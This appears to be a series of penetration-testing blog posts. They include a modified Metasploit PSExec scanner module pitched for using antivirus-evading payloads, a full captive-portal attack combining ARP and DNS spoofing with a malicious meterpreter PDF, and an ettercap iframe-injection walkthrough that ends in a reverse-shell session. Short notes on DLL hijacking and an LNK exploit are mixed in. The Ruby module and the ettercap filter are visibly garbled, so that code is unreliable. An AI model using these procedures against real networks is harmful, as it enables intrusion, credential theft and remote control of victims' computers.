Use EXE::Custom with psexec scanner

Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.

I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.

Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.

Below is the original script with my edits/additions highlighted. You can download the edited script here

# $Id$

# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#Slightly modified by pipefish to add the EXE::Custom option

require 'msf/core'
require 'rex'

class Metasploit3  'Auxiliary PSExec Scanner',
				'Description'   => %q{
					PSExec scanner module that will run a psexec attack against a range of hosts
					using either a set of credentials provided or the credential saved in the
					current workspace database.
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez '],
				'Version'       => '$Revision$'
			['SMBUser', [false, 'SMB Username', nil]),'SMBPass', [false, 'SMB Password', nil]),'SMBDomain', [true, "SMB Domain", 'WORKGROUP']),'SHARE',     [ true,
						"The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),'RHOSTS', [true, 'Range of hosts to scan.', nil]),'LPORT', [true, 'Local Port for payload to connect.', nil]),'LHOST', [true, 'Local Hosts for payload to connect.', nil]),'PAYLOAD', [true, 'Payload to use against Windows host',
						"windows/meterpreter/reverse_tcp"]),'TYPE', [false, 
						'Type of credentials to use, manual for provided one, db for those found on the database',
						'manual', ['db','manual']]),'OPTIONS',
				[false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.",
					""]),'EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]),'HANDLER',
					[ false, 'Start an Exploit Multi Handler to receive the connection', true]),
			], self.class)
		# no need for it
	def setup()
		# Set variables
		pay_name = datastore['PAYLOAD']
		lhost    = datastore['LHOST']
		lport    = datastore['LPORT']
		opts     = datastore['OPTIONS']

		if datastore['TYPE'] == "db"
			print_status("Using the credentials found in the workspace database")
			print_status("Using the username and password provided")
		@pay = create_payload(pay_name,lhost,lport,opts)
		create_multihand(pay_name,lhost,lport) if datastore['HANDLER']

	# Run Method for when run command is issued
	def run_host(ip)
		if check_port(ip)
			if datastore['TYPE'] == "manual"
				if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
					user = datastore['SMBUser']
					pass = datastore['SMBPass']
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
				@creds.each do |c|
					user,pass = c.split(" ")
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
	## Run psexec on a given IP
	def psexec(ip,user,pass,dom,payload,custexe)
		psexec = framework.modules.create("exploit/windows/smb/psexec")
		psexec.datastore['PAYLOAD'] = payload
		psexec.datastore['MODULE_OWNER'] = self.owner
		psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
		psexec.datastore['RHOST'] = ip
		psexec.datastore['SMBUser'] = user
		psexec.datastore['SMBPass'] = pass
		psexec.datastore['SMBDomain'] = dom
		if not datastore['EXE::Custom'].nil?
			psexec.datastore['EXE::Custom'] = custexe
		psexec.datastore['SHARE'] = datastore['SHARE']
		psexec.datastore['RPORT'] = 445
		psexec.datastore['ExitOnSession'] = false
		psexec.datastore['DisablePayloadHandler'] = false
		psexec.datastore['EXITFUNC'] = 'process'
		psexec.datastore['VERBOSE'] = true
		psexec.datastore['DisablePayloadHandler'] = true
		psexec.datastore['ForceBlocking'] = true
			'LocalInput'	=> self.user_input,
			'LocalOutput'	=> self.user_output,
			'Payload'	=> payload,
			'Target'	=> 0,
			'ForceBlocking'	=> true,
			'RunAsJob'	=> false)

	def check_port(ip)
		status = false
		timeout = 1000
		port = 445
			s = connect(false,
					'RPORT' => 445,
					'RHOST' => ip,
					'ConnectTimeout' => (timeout / 1000.0)
			print_status("#{ip}:#{port} - TCP OPEN")
			status = true
		rescue ::Rex::ConnectionRefused
			vprint_status("#{ip}:#{port} - TCP closed")
		rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
			disconnect(s) rescue nil
		return status

	def collect_hashes
		type = "smb_hash|password"
		@creds = []
		print_status("Collecting Hashes from the DB")
		framework.db.workspace.creds.each do |cred|
			if and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
				@creds < mul.datastore['PAYLOAD'],
					'LocalInput'  => self.user_input,
					'LocalOutput' => self.user_output,
					'RunAsJob'    => true
			print_error("Could not start handler!")


Captive Audience: Using iptables and php as a home grown captive portal during penetration tests

This, like all penetration testing methods or discussions should be used for educationalprofessional purposes only. The purpose of this post is to show an interesting client based attack method that can be used in penetration testing. Abusing networks or computers that you do not have permission to be messing with is not smart and can get you into a lot of trouble.

The idea of a captive portal is not new. Anytime you’ve gone to a hotel or local coffee shop and seen the terms of service for using their free Wifi you’ve had your web traffic redirected to a page of the establishment’s choosing and been forced to view said page. When I put it like that doesn’t it sound nasty? And, in the world of pen testing, where browserclient side exploits are a shoe in into networks doesn’t the idea of a captive portal sound like an amazing tool? I hesitate to say this will work 100% of the time, because there are absolutely no absolutes. And while I never exaggerate (never in a million years!) I feel justified in saying this should work most of the time. For me, this attack vector has worked 100% of the time. Some of the scenarios where I’ve used the below method are wireless security testing, or internal penetration tests (or as a parlor trickimpromptu security training session).

What follows is a not so brief tutorial demonstrating how to setup a captive portal for the purpose of obtaining remote access to a target computer.

Summary of attacks used: ARP spoofing MITM, DNS spoofing, traffic redirection, malicious pdf file.

The gist of the attack is this: you’re on a LAN. You play man in the middle and force ALL of the target’s web traffic to view your page first before you pass it on to the intended destination. The target (be it a single host or an entire broadcast domain) is forced to view a page you choose. This could be used to supply browser exploits, steal credentials, or drop payloads on to the victim. NOTE: if you do attempt this against an entire subnet you better have one heckuva laptop with several NICs or you will DOS the network.

There are a lot of open source distros that are bundled captive portals, but I found this method to be the most customizable, and it suited my needs. I used the following site heavily as a reference when I started working on this attack a few months ago, and customized as I saw fit.

I’ll describe a scenario where a user is sent to a web page and has to open a malicious PDF and input a code from said PDF before they can continue browsing.

Let’s begin. I primarily use Backtrack (used BT4 R2 for this instance) when performing security duties, but I have also gotten very friendly with CentOS or the latest Ubuntu release. Most of the instructions below were developed while using Backtrack (some of the commands and dependencies are different for the different distros, but the gist is the same).

BT4 R2 comes with an older version of iptables. We will be marking packets and for this to work you need to download the latest source for iptables (version 1.4.10).

Remove the current installation: [bash]apt-get remove iptables[/bash]

Extract the contents of iptables-1.4.10.tar.bz2: [bash]tar –xvf iptables-1.4.10.tar.bz2[/bash]

Enter the newly extracted directory and use the make method to compile iptables from source.

make install

Check your work by issuing the


command. You should see version info. Success reads iptables v1.4.10. Sometimes I’ve had to close the Konsole window and open a new one to see the new iptables version, don’t know why.

Now lets setup some of the other things in the environment you’ll need. First is conntrack.

apt-get install conntrack

Next we need to create an empty text file called users.

echo blah >/var/lib/users

Now we need to change the owner for the file to be www-data.

chown www-data /var/lib/users

You’ll see later what this file is used for. I don’t use it too much but like to have it because A). it doesn’t hurt anything and B). it does give you some information, and the more information about a target the better!

Next setup the rmtrack script. This script’s purpose is to remove connection data so that the target gets forwarded to the legit site. I again need to give the credit to this blog because it provided so many good examples and code snippets.

 /usr/sbin/conntrack -L 
    |grep $1 
    |grep ESTAB 
    |grep 'dport=80' 
        "{ system("conntrack -D --orig-src $1 --orig-dst " 
            substr($6,5) " -p tcp --orig-port-src " substr($7,7) " 
            --orig-port-dst 80"); }"

You’ll notice this only deals with HTTP traffic. Don’t worry about that for now, I’ll get more into that later.

Don’t forget to make /usr/bin/rmtrack executable

chmod +x /usr/bin/rmtrack

We need to setup sudoers so the apache account has permissions to run some commands. Use the


command and add the following entries to your sudoers file:

 www-data ALL = NOPASSWD: /sbin/iptables -I internet 1 -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /sbin/iptables -D internet -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /usr/bin/rmtrack [0-9]*.[0-9]*.[0-9]*.[0-9]*

Now on to the iptable rules:

You can copy and paste this into a script for ease of use. Just remember that you should clear all the iptables rules before making any new changes and reapplying them. I usually make two scripts, one with the iptables rules and one to clear them. I left some of the original iptables script comments but I’ll also go in to more detail further down. Be sure to change the two IP addresses below to your victim IP (or subnet) and your attacker IP.

Here are the rules:


# Create internet chain and add allow rules

# This is used to authenticate users who have already signed up

$IPTABLES -A FORWARD -s VICTIM IP -p udp -m udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A INPUT -p udp -m udp --sport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -N internet -t nat

# First send all traffic via newly created internet chain

# At the prerouting NAT stage this will DNAT them to the local

# webserver for them to signup if they aren't authorized

# Packets for unauthorized users are marked for dropping later

$IPTABLES -t nat -A PREROUTING -j internet

###### INTERNET CHAIN ##########

# Allow authorized clients in, redirect all others to login webserver

# Add known users to the NAT table to stop their dest being rewritten

# Ignore MAC address with a * - these users are blocked

# This awk script goes through the /var/lib/users flat file line by line

#awk 'BEGIN { FS="t"; } { system("$IPTABLES -t nat -A internet -m mac --mac-source "$4" -j RETURN"); }' /var/lib/users

# MAC address not found. Mark the packet 99

$IPTABLES -t nat -A internet -j MARK --set-mark 99

# Redirects web requests from Unauthorized users to logon Web Page

$IPTABLES -t nat -A internet -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination ATTCKER IP


# Now that we've got to the forward filter, drop all packets

# marked 99 - these are unknown users. We can't drop them earlier

# as there's no filter table

$IPTABLES -t filter -A FORWARD -m mark --mark 99 -j DROP

We’re going to be using DNS spoofing so the URL’s in the address bar don’t arouse suspicion. We need to allow DNS queries to egress, as well as allow traffic to port 53 on our own box which will return bogus responses, which is what the first two iptabels rules does.

Then we create a new chain called “internet”. The rest of the rules are spelled out in the above comments.

Basically what will happen here is your targets traffic will pass through your machine, like your machine is the router. The iptables rules will deny all traffic (except DNS queries) and forward all HTTP traffic to your own attacking box, where you serve up your PHP page.

A quick note on the /var/lib/users file. This will keep a persistent list of folks who “Register” with your captive portal. After the attack completes their MAC (among other things) is noted in this file. When you run the iptables script the awk statement will grab these users and allow them through without having to hit your page again. It’s optional. If you omit the file tho you’ll need to kill it’s reference in the php page.

Now to the PHP file. The basics are your PHP file will handle the URL header rewriting, as well as forwarding the target to their originally requested site after they’ve opened your malicious PDF.

Remember you can’t have HTML code within PHP tags so you need to start and end them appropriately within the page. There’s some dummy html in the below PHP file which is a simple form asking for a code. Once they input the proper code into the text box and hit submit their mac address will be added to an iptables rule that will allow them Internet access, and the php header operation will forward them to the site they requested originally. The php if statement is waiting for an expected value to be supplied to the code variable; that value is sitting in the PDF file you created (with metasploit). You can set it to whatever you’d like, just change the php code. Be sure to name this file index.php in the /var/www directory. Delete index.html. and I suppose you should probably start apache too…

Change the variable at the top to whatever you want (you’ll be spoofing the DNS for this address, that will be the URL they see in their browser address bar). Also you can change the expected value for the code variable to whatever you want.

Don’t forget about starting your webserver.


Index.php file:


$server_name = "www";
$domain_name = "";
$site_name = "Fake Site Name:";

// Path to the arp command on the local server
$arp = "/usr/sbin/arp";

// The following file is used to keep track of users
$users = "/var/lib/users";

// Check if we've been redirected by firewall to here.
// If so redirect to registration address
if ($_SERVER['SERVER_NAME']!="$server_name.$domain_name") {

// Attempt to get the client's mac address
$mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
if (!isset($mac)) { exit; }

$code = $_POST['code'];

if ($code!="1234") {
  // code doesn’t equal expected value, so display form
  <h1>Welcome to <?php echo $site_name;?></h1>
  To access the Internet you must first enter code from pdf below:<br><br>
  <a href="./fake.pdf">PDF File Here</a>
  <form method='POST'>
  <table border=0 cellpadding=5 cellspacing=0>
  <tr><td>Your email address:</td><td><input type='text' name='code'></td></tr>
  <tr><td></td><td><input type='submit' name='submit' value='Submit'></td></tr>

} else {

// This function enables the PC on the system by calling iptables, and also saving the
// details in the users file for next time the firewall is reset

function enable_address() {

    global $name;
    global $email;
    global $mac;
    global $users;

        .$_SERVER['REMOTE_ADDR']."t$mact".date("d.m.Y")."n",FILE_APPEND + LOCK_EX);
    // Add PC to the firewall
    exec("sudo iptables -I internet 1 -t nat -m mac --mac-source $mac -j RETURN");
    // The following line removes connection tracking for the PC
    // This clears any previous (incorrect) route info for the redirection
    exec("sudo rmtrack ".$_SERVER['REMOTE_ADDR']);


// Function to print page header
function print_header() {

  <head><title><?php echo $site_name;?></title>
  <LINK rel="stylesheet" type="text/css" href="./style.css">

  <body bgcolor=#FFFFFF text=000000>

// Function to print page footer
function print_footer() {
  echo "</body>";
  echo "</html>";



You can get creative with the HTML portion of the php page. Get a convincing page setup (wget magic!) and inform your user they need to view some agreement or accept some terms before they can continue using the web. The purpose of the having them enter a code is that the user will have no recourse but to open your malicious pdf and get the code to continue browsing. Once they do you can have your malcode execute. After they put in the code they keep browsing none the wiser. You could just have a page that has an iframe that redirects to a browser exploit, or have a form setup to gather user data. During pen tests tho this is a stark reminder to your clients how dangerous an attacker on the LAN is. This is especially useful with businesses who have a guest wireless network. Most of this attack is mitigated by using static ARP tables or something like arpwatch on the gateway. While they don’t care so much about their customers’ data security, it can be a real eye opener. Also, a lot of companies use wireless and while most (some still do though) don’t use the ancient WEP for security, a lot still employ WPA2 PSK rather than the enterprise flavor using PKI. If the WPA2 passphrase is not complex then it’s just as easy to get into as WEP!

Recently I demonstrated this attack on a hospital guest wireless network. I also explained the ease of mitigating (at least the MITM portion) to the network admin staff and the next week the hospital had enabled some anti-arp spoofing features that had already existed in their wireless infrastructure, they had just never turned them on!

A note on 443: Without presenting ugly certificate errors and going through the hassle of setting up SSL on your apache server, HTTPS is simply denied by the iptables rules. Any HTTP site is redirected to your page, any HTTPS browsing is simply timed out.

Coming down the home stretch, now its just the MITM and DNS spoofing attack.

I had originally done this step with ettercap, since it had the nice DNS spoofing switch and I was familiar with it. However, ettercap uses it’s own means of forwarding IP packets, and does not leave it to the kernel. This means all HTTPS traffic bypasses our iptables rules and is allowed. The reason it bypasses SSL traffic is I don’t enable the ettercap SSL dissection. I don’t use ettercap all the time for MITM since it’s SSL packet dissection method requires the user to accept a bogus SSL certificate. I don’t like that, not that most users won’t do it, but because some won’t know how. I don’t want them to just get confused and close the browser. I make it easy for them to get popped!

As an alternative I used dsniff’s arpsoof and dnsspoof to get the desired results.

First enable forwarding in the kernel

echo 1 > /proc/sys/net/ipv4/ip_forward

Next kick off arpsoof towards the target and also the gateway.
You need to issue two arpspoof commands

The first:

arpspoof –i interface_name –t victim_ip gateway_ip >>/dev/null 2>&1 &

poisons the targets arp cache and sends all of the targets traffic to you.

Next you need to do the same thing to the gateway so you get the responses

arpspoof –i interface-name –t gateway _ip victim_IP >>/dev/null 2>&1 &

Since stderr is being piped to stdout and stdout is sent to /dev/null you’ll need to kill the arpspoof pids when you’re done to stop arp spoofing.

As the icing on the cake we’ll setup DNS spoofing so the URL in the victim’s address bar isn’t a local address.

Setup a text file in hosts format


Set the name to be the website name you used in the PHP file (those first variables you set: $server_name and $domain_name)

In another Konsole tab issue the dnsspoof command

 dnsspoof –i interface_name –f host_file_you_created_above

You can use whatever kind of sneaky payload you want, it’s just easy to use MSF to bind a meterpreter exe into a pdf (be sure to edit the “<a href” appropriately in your PHP file). Once that’s in your web root directory just wait.

Once a user who is being targeted by arpspoof tries to browse they will either be redirected to your bogus page, or if it’s an SSL site they’re trying to open they’re request will timeout (and they will hopefully attempt to browse to an HTTP page). I have yet to see a user who got suspicious and contacted anyone (it admin, or establishment staff), but simply opened the pdf, got the code and went along their merry way.

I’ve spoken to some of the mitigations of this attack above, but here’s a few more: some client security suites can recognize arpdns spoofing and prevent it, and can also disallow untrusted applications from creating sockets from the client without permission. Another means of mitigating this risk is user awareness training; explaining that users should be wary when hitting captive portals, (especially on a LAN they’ve used for sometime without seeing one and now they see one all of a sudden).

There you have it. There are many steps to this, and they all must be performed properly or the whole thing won’t work! Get out there and make the world a safer place!

Passed the Offensive Security OSCP Exam!

It has been an intense journey since I signed up for the PWBv3 course from Offsec.  But, now it is all worth it.  I received notice that I passed and can now claim the title: Offensive Security Certified Professional (OSCP).  I have taken many security courses, and have gotten a few certifications along the way, and I must say none have been as rewarding as this.  I cannot sing the praises of Offsec enough, even though sometimes during the course I wanted to curse their diabolical minds for coming up with some of the machines I had to penetrate.  I will admit that this was my second attempt at the OSCP exam.  I will not say I failed the first attempt (well actually that’s exactly what I did) but rather learned valuable lessons from it.  My first attempt was 23 hours straight (I took an hour nap) and at the end I knew I had come up short even before they emailed me.  But, this did not discourage me, it energized me!  I talked to many folks who had had a similar experience.  I will say that I hold this certification higher than any I have attained yet, bar none.

To those who are taking the course and may come across this post: Do not fret!  Remember what you’ve learned, and if you get knocked down get up and go at it again!  For those of you who are not (or have not) taken the course, check it out!  I guarantee even if you’ve been pen-testing for years this course will be a heckuva time!

Microsoft (and others’) DLL Load Hijacking Bug – Remote Exploit Possible

Microsoft’s  security advisory that came out Monday is a bit vague on this bug, but the issue is a bit more serious matter and deserves security pro’s attention, especially if your company uses in-house applications.  MS KB is here.  The issue itself is not new, but recently published research that details remote attack vectors is.  

More in depth analysis and a good read about this issue, and confirmation of public exploit code can be found here.

Metasploit has a detection module and audit kit for this bug that can be used to discover applications that are vulnerable to unsecured DLL loading (and also exploit them). 

This bug, at the moment, requires users to open a file which has a bogus DLL in the same directory.  There are many applications that are vulnerable (both MS and 3rd party), but Microsoft is leaving it to these vendors and their own internal teams to release application specific updates.  Also, for the application to be vulnerable it must accept files as input.  I’m working on getting the list of known vulnerable applications.

The remote vector uses SMB which is hopefully blocked at your perimter, WebDAV is usally not, though.

Office documents with embedded content are another vector, as well as USB drives.

The KB above and this MS RD blog entry have an MS developed tool that will mitigate most of this threat.  It’s an optional download and will not be released by MS update. 

The SRD blog states that if users disable outbound SMB and kill the WebDAV client service on workstations they’re good to go (although the attack vector of locally hosted share or USB thumb drives will still persist), so it may be worthwhile looking at the MS fix tool.

Metasploit Module Released for Latest Windows 0-day


The folks over at the Metasploit Framework have released a working exploit module that takes advantage of the much talked about vulnerability in the Windows Shell.  

This module proves this vulnerability is not limited to being exploited via thumb drives or email attachments. 

Microsoft has no patch available as of yet, however they offer some ugly workarounds: disable the display of .lnk and .pif files, block .lnk.pif files at your network’s perimeter, or disable WebDAV…

FYI: Disabling WebDAV wreaks havoc in some SharePoint instances.

The browser exploit module uses WebDAV to host a .lnk file and malicous dll.  No click necessary!  After the target browses to a malicous site, assuming WebDAV is enabled, up pops a window containing the two files and your msf payload is deployed.  McAfee 8.7.0i was mum to the exploit, even tho a source at McAfee has stated, “Coverage for known exploits is provided in the current DAT set (6047) as Generic Dropper!dfg”.  Perhaps thats why I got no alert: my payload wasn’t’ a trojan.  

Regardless, this is a very good delivery method and while the attacks using this method in the wild are targeted, I wouldn’t be surprised if more malcode was to be spread via this vector.

Security Testing:Fully Patched Machine Compromise with MITM+Iframe Injection

The purpose of this post to provide an example of how to use the freely available Linux distribution Backtrack when conducting security testing; and to provide a specific example of an attack scenario with detailed instructions on the commands used with a description.

This is by no means an all encompassing tutorial for using Backtrack during securitypenetration testing.  If you do not have a basic understanding of what Backtrack is or how it is used I suggest you read some info about it here:  This post is mainly to provide the readers with an overview of a common attack scenario, using what I consider to be the “swiss army knife” of IT security tools.  Hopefully this will inspire people to learn more about the different ways you can perform security tests, and be a catalyst for further research.

Now for the usual disclaimer:

The instructions contained below are provided for informationaleducational purposes only and should only be used on networks that you control, or have permission to utilize.  Unauthorized access to networks or computers is usually frowned upon by the network administrators, home users, and general law abiding citizens that populate this fine blue orb we call home; and while you think you won’t get caught the best bet is to NOT muck around someone else’s network EVEN if it’s an open wifi network with a name like “Linksys” or “Netgear”… had to be said, but I digress.

Most of the techniques described here have been documented separately or similarly on other websitesblog posts.  I will post a list of references at the end for further review, and to give credit where credit is due.

Let’s look at an overview of the attack scenario:

Conditions: Access to the network has already been gained by either wireless cracking, or some other access to a wired network.  The gateway IP, target’s IP and operating system have already been discovered and all three are on the same subnet.  The target is a patched Windows XP machine running SP3 and IE8.  We will use Backtrack 4 final release, and the Metasploit framework version 3 which is already installed on Backtrack.

The attack will begin with a basic MITM (man-in-the-middle) ARP poisoning attack against a single target on a network.

The network traffic, specifically the Web traffic, browsed by the target will be intercepted by our computer and an iframe will be injected into all of the web pages viewed.  This iframe will point back to our attacking computer which will be hosting a web page with a malicious payload (via the Metasploit framework).

When the target browses to most web pages our iframe will execute the malicious content hosted on our computer in their browser.  The end result will be admin access to the targets computer, via a meterpreter session.

 Section 1: Prepare Backtrack

 If you are already familiar with Backtrack you can skip this section.  This is simply the steps required for preparing Backtrack after initial live boot.

Open a terminal session and type /usr/bin/start-network  This command enables the networking on Backtrack.

Now we need to update Metasploit.  In a terminal type cd /pentest/exploit/framework3


This brings us to the Metasploit directory.  Type in svn update.  At the prompt type y.

This will update the Metasploit framework with the latest modules. 

Now we need to enable IP forwarding using iptables

echo 1 &gt; /proc/sys/net/ipv4/ip_forward

Lastly we’ll ensure ip forwarding is enabled in ettercap

We need to edit the etter.conf file.  However you choose to do that is up to you, I use VI.  A VI tutorial is beyond the scope of this post.  I suggest you check out the security researchers’ best friend: Google if you need help with VI.  Type Kate from a terminal for a GUI text editor or choose it from the Utilities menu. 

The file can usually be found here: /etc/etter.conf if you’re using Backtrack4 Final Release.

We need to make 3 changes in etter.conf:

ec-uid = 0

ec_guid = 0

uncomment the redir_command_on and redir_command_off sections below the “if you use iptables” section of etter.conf

  Section 2: Prepare Ettercap filter

 Ettercap is a network sniffer that can not only log packet data but can use filters to inject or replace data within the packets.  When used in a MITM attack ettercap filters can drop packets, or inject code into packets that will be forwarded to the target machine. 

Enter this data into a text file using your favorite text editor and save it as iframe.txt:

if (ip.proto == TCP && tcp.dst == 80) {

   if (search(, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!");

                  # note: replacement string is same length as original string

      msg("zapped Accept-Encoding!n");



if (ip.proto == TCP && tcp.src == 80) {

   replace("</title>", "</title><a href="http://youripaddress">http://youripaddress</a>");

   msg("iframe Filter Ran.n");


The above filter will put our iframe right after the closing title tag in most web sites. 

Now from a terminal, and in the same directory where you saved iframe.txt, enter

 ettefilter iframe.txt –o iframe.ef


This command compiles the iframe.txt file into the actual etterrcap filter, or “ef” file.

A success message would look like this: Script encoded into 15 instructions.

Section 3: Launch Metasploit

 From the /pentest/exploit/framework3 directory launch the Metasploit console with this command: msfconsole

 You can choose your favorite browser exploit, I’m going to use: windows/browser/ms10_xxx_helpctr_xss_cmd_exec

Metasploit commands:

Use windows/browser/ms10_xxx_helpctr_xss_cmd_exec
Set PAYLOAD windows/meterpreter/reverse_tcp
Set LHOST youripaddress
Set SRVHOST youripaddress

Section 4: Launch Ettercap for MITM attack


Now that all of the different prereqs for the attack have been prepared we can launch ettercap

Enter the following command into a terminal window (replace underlined items with the correct name or ip in your environment):

ettercap –i wlan0 -F iframe.ef –TQM arp:remote targetip gatewayip -P autoadd 

The –i witch specifies interface, you only need it if you have multiple interfaces.  If you have only one you can omit. –F is specifying the filter to use.  T= text mode, Q=quiet M=MITM attack. 

You may see only one of the addresses, commonly the gateway, is added to an ettercap group.  This is not uncommon with wireless clients.  Both the gateway and target need to show up in one of the groups.  You can either wait until your target sends an arp request or you can force it to by pinging a non existent IP on your subnet from the target.  The choice is yours.  The point is that if you press the L key while in ettercap you should see both your target ip and the gateway there for the MITM to be a success.

Once ettercap is running open up IE on your target and browse somewhere, I used  You should see the “iframe filter run” message on your Backtrack box.

You should also see the exploit initiate on the Metasploit terminal.  On your victim box a message will pop up.  If you click allow button the exploit will run.

You should then see a meterpreter session initiated on your Backtrack computer (sometimes this take a bit, so be patient).

If you see a message on your Backtrack machine that says a meterpreter session has been created you can hit CTRL+C then type sessions –i 1 (that’s a number 1) to interact with the meterpreter session, assuming the session number is 1.

You’ve compromised the box!  You can now do things like drop to a command shell on the target by entering shell into meterpreter.  Or, if you want to be surreptitious you could enter

execute –F cmd.exe –i –H –c

.  there are many things you can do with a successful meterpreter session setup.  You can uploaddownload files, grab password hashes, send over a back door program like netcat, edit the registry… really whatever you want to do.

I hope you’ve found this post helpful, and will use it as fodder for more research into the kinds of things you can do with Backtrack and metasploit, and IT security in general.

Good hunting!